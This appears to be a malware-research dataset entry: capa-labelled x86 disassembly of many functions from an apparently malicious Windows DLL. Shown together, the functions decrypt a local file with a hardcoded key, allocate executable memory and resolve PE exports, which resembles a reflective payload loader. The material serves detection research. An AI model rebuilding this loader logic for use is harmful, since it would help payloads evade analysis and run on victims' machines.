joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004fa0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x14]
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [eax], ebx
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x1000511b
push edi
mov edi, dword [ebp - 8]
test edi, edi
je 0x10005107
push esi
nop dword [eax]
cmp dword [edi + 4], 2
jne 0x10005098
cmp dword [edi + 0x18], 0
je 0x10005098
mov eax, dword [edi + 0x10]
test eax, eax
je 0x10005098
cmp eax, 0x10
jb 0x10005098
push 0x20
call dword [0x100ad008]
mov esi, eax
add esp, 4
test esi, esi
je 0x100050fc
mov eax, dword [edi]
mov dword [esi], eax
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push 0x10
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0x10
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x1c], 0
call dword [0x100ad008]
add esp, 4
mov dword [esi + 0x18], eax
test eax, eax
je 0x100050eb
mov ecx, dword [edi + 0x18]
movups xmm0, xmmword [ecx]
movups xmmword [eax], xmm0
mov eax, dword [edi + 0x14]
test eax, eax
je 0x10005086
push eax
call dword [0x100ad014]
add esp, 4
mov dword [esi + 0x14], eax
test eax, eax
je 0x100050d1
mov eax, dword [ebp - 4]
test ebx, ebx
cmove ebx, esi
test eax, eax
je 0x10005095
mov dword [eax + 0x1c], esi
mov dword [ebp - 4], esi
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x10004fe0
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
pop esi
test eax, eax
je 0x100050b5
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test edi, edi
je 0x10005103
push ebx
call fcn.10004f60
mov eax, dword [ebp + 0x14]
add esp, 4
xor ebx, ebx
mov dword [eax], ebx
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [esi + 0x18]
mov edi, 8
call dword [0x100ad00c]
push esi
call dword [0x100ad00c]
add esp, 8
jmp 0x100050a6
push esi
mov edi, 8
call dword [0x100ad00c]
add esp, 4
jmp 0x100050a6
mov edi, 8
jmp 0x100050a6
test ebx, ebx
jne 0x10005113
mov edi, 0x2af9
push edi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x1000538d
push ebx
mov ebx, dword [ebp + 8]
mov cl, byte [esi + ebx]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
and dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [esi + ebx], cl
inc esi
cmp esi, edi
jb 0x10005352
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x10005fa0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push esi
push edi
mov byte [edi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [edi + esi - 1], 0
test eax, eax
jne 0x10005fd3
push 0x2e
push edi
call fcn.10040d30
add esp, 8
test eax, eax
je 0x10005fd1
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x100060f0
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 0xc]
push edi
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x10006100
sub esi, ecx
lea eax, [esi + esi]
push eax
mov dword [ebp - 0xc], eax
call dword [0x100ad008]
mov edi, eax
add esp, 4
test edi, edi
jne 0x10006128
lea eax, [edi + 0x1b]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push dword [ebp + 0xc]
push edi
call fcn.100061d0
add esp, 0xc
lea eax, [ebp - 8]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [ebp + 0x10]
test eax, eax
je 0x100061a7
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8002
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000619c
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0x10
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [ebp - 0x10]
push eax
push esi
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x100ad00c]
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006200
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100ad12c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x1c]
push edi
mov edi, dword [ebp + 0x10]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [ebp - 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10006292
lea eax, [ebp - 0xc]
mov dword [ebp - 0x18], 0x208
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0x6601
push edi
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x10], 8
call fcn.100062f0
lea eax, [ebp - 0xc]
push 8
push eax
call fcn.10005340
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0x14
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x100062a4
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push dword [ebp - 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push eax
push esi
push 0
push 0
push 0
push dword [ebp - 0x24]
mov dword [esi], ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret

Function at 0x10007180
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call fcn.1005c61c
add esp, 0x18
test eax, eax
je 0x100071a2
cmp eax, 0xffffffff
jne 0x100071a4
xor eax, eax
pop ebp
ret

Function at 0x10008110
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call fcn.10007120
test eax, eax
jne 0x1000816e
push ebx
push esi
push edi
push 0x10097cdc
call fcn.10024e40
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 4
call esi
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
mov edi, eax
nop
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
call esi
sub eax, edi
cmp eax, 0x32
jb 0x10008140
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a550
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi]
cmp dword [ecx + 4], 3
jne 0x1000a57a
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x1000a56b
pop edi
pop esi
pop ebp
ret
push dword [ecx + 8]
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call eax
jmp 0x1000a5ad
mov eax, dword [esi + 8]
test eax, eax
jne 0x1000a59f
push 0x10098050
push dword [ecx + 8]
call fcn.1004b6f1
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x1000a59f
pop edi
or eax, 0xffffffff
pop esi
pop ebp
ret
push eax
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.1005edda
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x1000a5cf
mov eax, dword [esi + 8]
test eax, eax
je 0x1000a5c9
push eax
call fcn.1004b166
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000b140
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100ad12c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
push edi
push ecx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], 0x10
mov eax, dword [esi + 0x194]
or edi, 0xffffffff
mov ebx, dword [esi]
push ecx
push eax
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1000b198
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push dword [ebp - 0x1c]
push esi
call fcn.10002030
add esp, 8
cmp edi, 0xffffffff
jne 0x1000b1cd
push str.Error_accept__ing_server_connect
push ebx
call fcn.10024400
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret
push str.Connection_accepted_from_server_n
push ebx
call fcn.100244b0
push 1
push edi
mov byte [esi + 0x370], 0
mov dword [esi + 0x194], edi
call fcn.1001f290
mov byte [esi + 0x1a1], 1
add esp, 0x10
mov eax, dword [ebx + 0x198]
test eax, eax
je 0x1000b232
push 1
push edi
push dword [ebx + 0x19c]
call eax
add esp, 0xc
test eax, eax
je 0x1000b232
push esi
call fcn.1000b7e0
add esp, 4
mov eax, 0x2a
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret
Function at 0x1000d840
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ecx - 0xc8]
mov edx, dword [edi]
cmp eax, 0x64
jb 0x1000d86f
push str.Couldnt_set_desired_mode
push edx
call fcn.10024400
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebp
ret
cmp ecx, 0xc8
je 0x1000d886
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push edx
call fcn.100244b0
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp eax, 0x13
jne 0x1000d89d
push edi
call fcn.1000d5d0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x14
jne 0x1000d8b1
push edi
call fcn.1000c660
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x15
jne 0x1000d8c5
push edi
call fcn.1000d5b0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x16
jne 0x1000d8d5
push edi
call fcn.1000d720
mov esi, eax
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x10010340
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100102c0

Function at 0x100112c0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x100ad008]
mov edi, eax
add esp, 4
test edi, edi
jne 0x100112ed
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [edi + 8], eax
cmp ebx, dword [esi + 0x10]
jbe 0x10011337
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [ebp + 0xc]
push dword [edi + 4]
call eax
mov eax, dword [edi + 8]
add eax, dword [esi + 0xc]
push dword [edi + 4]
mov dword [ebp - 4], eax
push eax
mov eax, dword [esi + 8]
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov ecx, dword [edi + 4]
mov dword [ebp + 0x10], ebx
jmp 0x1001133d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [esi]
push ecx
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [ebp + 0x10]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x1001139b
mov ebx, dword [ebp - 4]
mov dword [ebp - 8], eax
nop dword [eax + eax]
movzx eax, byte [ebx]
xor al, 0x36
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
xor al, 0x5c
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub dword [ebp + 0x10], 1
jne 0x10011360
mov ebx, dword [ebp - 8]
cmp ebx, dword [esi + 0x10]
jae 0x100113c7
mov eax, dword [esi + 4]
push 1
push str.6_s:_d
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x10099023
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x100113a0
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10011760
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10011788
cmp dword [esi + 0x48], 0
je 0x10011788
push 2
push 3
push esi
call fcn.10026360
push dword [ebp + 0xc]
call fcn.10010e60
add esp, 0x10
jmp 0x10011797
push dword [ebp + 0xc]
call fcn.10010e60
add esp, 4
test esi, esi
je 0x100117a8
cmp dword [esi + 0x48], 0
je 0x100117a8
push 3
push esi
call fcn.100263a0
add esp, 8
pop esi
pop ebp
ret
Function at 0x1001a590
Capabilities:
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0xf0000000
push 1
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1001a5c2
lea eax, [esi + 4]
push eax
push 0
push 0
push 0x8003
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
pop esi
pop ebp
ret
Function at 0x10024790
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push eax
push edi
mov esi, dword [edi + eax*4 + 0x190]
call fcn.10024b00
add esp, 8
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_send]
mov ebx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], 0
cmp ebx, 0xffffffff
jne 0x10024814
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x100247ec
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebx
mov dword [eax], 0x51
xor eax, eax
pop ebp
ret
push esi
push edi
call fcn.1002b660
push eax
push str.Send_failure:__s
push dword [edi]
call fcn.10024400
mov eax, dword [edi]
add esp, 0x14
mov dword [eax + 0x4694], esi
mov eax, dword [ebp + 0x18]
mov dword [eax], 0x37
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret

Function at 0x10024b00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov eax, edx
push esi
shl eax, 4
lea esi, [ecx + 0x1b4]
add esi, eax
mov eax, dword [ecx + 0x3a0]
push edi
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x3c], 3
je 0x10024bc2
cmp dword [ecx + edx*4 + 0x1a4], 0x100246e0
jne 0x10024bc2
cmp dword [esi], 0
je 0x10024b48
test edi, edi
je 0x10024bc2
push ebx
mov ebx, dword [ecx + edx*4 + 0x190]
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push ebx
call fcn.10023d80
add esp, 0x14
cmp eax, 0xffffffff
je 0x10024bc1
test al, 1
je 0x10024bc1
mov ecx, dword [esi]
test ecx, ecx
jne 0x10024b9e
push 0x8000
mov dword [esi + 4], 0x8000
call dword [0x100ad008]
mov edi, dword [esi + 4]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test ecx, ecx
je 0x10024bba
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10024bc1
add dword [esi + 8], eax
pop ebx
pop edi
pop esi
pop ebp
ret
mov dword [esi + 4], 0
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x10024bd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x190]
test eax, eax
je 0x10024bf9
push dword [esi + 0x11c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call eax
add esp, 0x14
pop esi
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, ecx
sub eax, 0
je 0x10024c0d
sub eax, 1
je 0x10024c0d
sub eax, 1
jne 0x10024c3c
push dword [esi + 0x118]
lea eax, [ecx*2 + 0x1009b824]
push 1
add eax, ecx
push 2
push eax
call fcn.100721f9
push dword [esi + 0x118]
push 1
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.100721f9
add esp, 0x20
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10024c50
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0xf0000000
xor esi, esi
lea eax, [ebp - 8]
push 0x18
push esi
push esi
push eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10024d23
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x800c
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10024d18
mov edx, dword [ebp + 8]
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10024ca2
push 0
sub ecx, edi
push ecx
push edx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
pop edi
test eax, eax
je 0x10024d0f
lea eax, [ebp - 0xc]
push eax
push 1
push dword [ebp - 4]
push 0x6610
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10024d0f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push 0
push 1
push 0
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10024d01
mov ecx, dword [ebp + 0x14]
mov esi, 1
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
jmp 0x10024d06
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10024d30
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x100ad12c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call fcn.10040e60
add esp, 8
mov byte [eax], 0
mov eax, str.donottrace.txt
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024d74
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10024d84
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push connect
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x100adcfc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x100add04], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x100add08
push dword [0x100add04]
mov dword [0x100add00], eax
push eax
push dword [0x100adcfc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x100adcfc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
push eax
push dword [0x100add04]
push dword [0x100add00]
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10024c50
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.1003ef8b
mov esp, ebp
pop ebp
ret

Function at 0x10024f90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
cmp esi, 0x40
jb 0x10025020
mov edx, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [ecx + 0xc], edx
cmp word [edx], ax
jne 0x10025020
mov edi, dword [edx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x10025020
lea eax, [edi + edx]
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x10025020
movzx edx, word [eax + 0x16]
test edx, 0x2000
je 0x10025020
test dl, 2
je 0x10025020
mov edx, 0xe0
cmp word [eax + 0x14], dx
jne 0x10025020
lea ebx, [eax + 0xf8]
mov dword [ecx + 0x14], ebx
xor ecx, ecx
movzx edi, word [eax + 6]
test edi, edi
je 0x10025014
xor edx, edx
nop
mov eax, dword [edx + ebx + 0x14]
add eax, dword [edx + ebx + 0x10]
cmp eax, esi
ja 0x10025020
inc ecx
add edx, 0x28
cmp ecx, edi
jl 0x10025000
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
Function at 0x10025930
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
test ecx, ecx
je 0x100259d8
mov edi, dword [ebp + 0xc]
cmp edi, 0x40
jb 0x100259d8
mov eax, 0x5a4d
cmp ax, word [ecx]
jne 0x100259d8
mov edx, dword [ecx + 0x3c]
lea eax, [edx + 0xf8]
cmp edi, eax
jb 0x100259d8
cmp dword [edx + ecx], 0x4550
jne 0x100259d8
mov eax, 0x14c
cmp ax, word [edx + ecx + 4]
jne 0x100259d8
test byte [edx + ecx + 0x16], 2
je 0x100259d8
movzx eax, word [edx + ecx + 0x14]
mov esi, 0xe0
cmp ax, si
jb 0x100259d8
movzx ebx, word [edx + ecx + 6]
add eax, 0xffffff20
movzx esi, ax
xor eax, eax
add esi, edx
add esi, ecx
xor ecx, ecx
cmp cx, bx
jae 0x100259ce
nop dword [eax]
movzx ecx, ax
lea edx, [ecx + ecx*4]
mov ecx, dword [esi + edx*8 + 0x10c]
add ecx, dword [esi + edx*8 + 0x108]
cmp ecx, edi
ja 0x100259d8
inc eax
cmp ax, bx
jb 0x100259b0
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x10025d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x3000
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x10025d9b
push 0x40
push 0x3000
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ebp
ret

Function at 0x10025f70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jbe 0x10026028
mov eax, dword [eax + edi + 0x78]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov ebx, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
add ebx, edi
mov edx, dword [eax + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edx
cmp ecx, edx
ja 0x10025fb6
mov eax, dword [ebx + ecx*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [eax + 0x20]
xor esi, esi
mov ecx, dword [eax + 0x24]
add edx, edi
mov ebx, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 8], edx
mov dword [ebp + 8], ecx
test ebx, ebx
je 0x10026028
nop
mov eax, dword [edx + esi*4]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10025ff8
test dl, dl
je 0x10025ff4
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10025ff8
add ecx, 2
add eax, 2
test dl, dl
jne 0x10025fd8
xor eax, eax
jmp 0x10025ffd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1002600d
mov eax, dword [ebp + 8]
movzx eax, word [eax + esi*2]
cmp eax, dword [ebp - 4]
jbe 0x10026017
inc esi
cmp esi, ebx
jae 0x10026028
mov edx, dword [ebp - 8]
jmp 0x10025fd0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8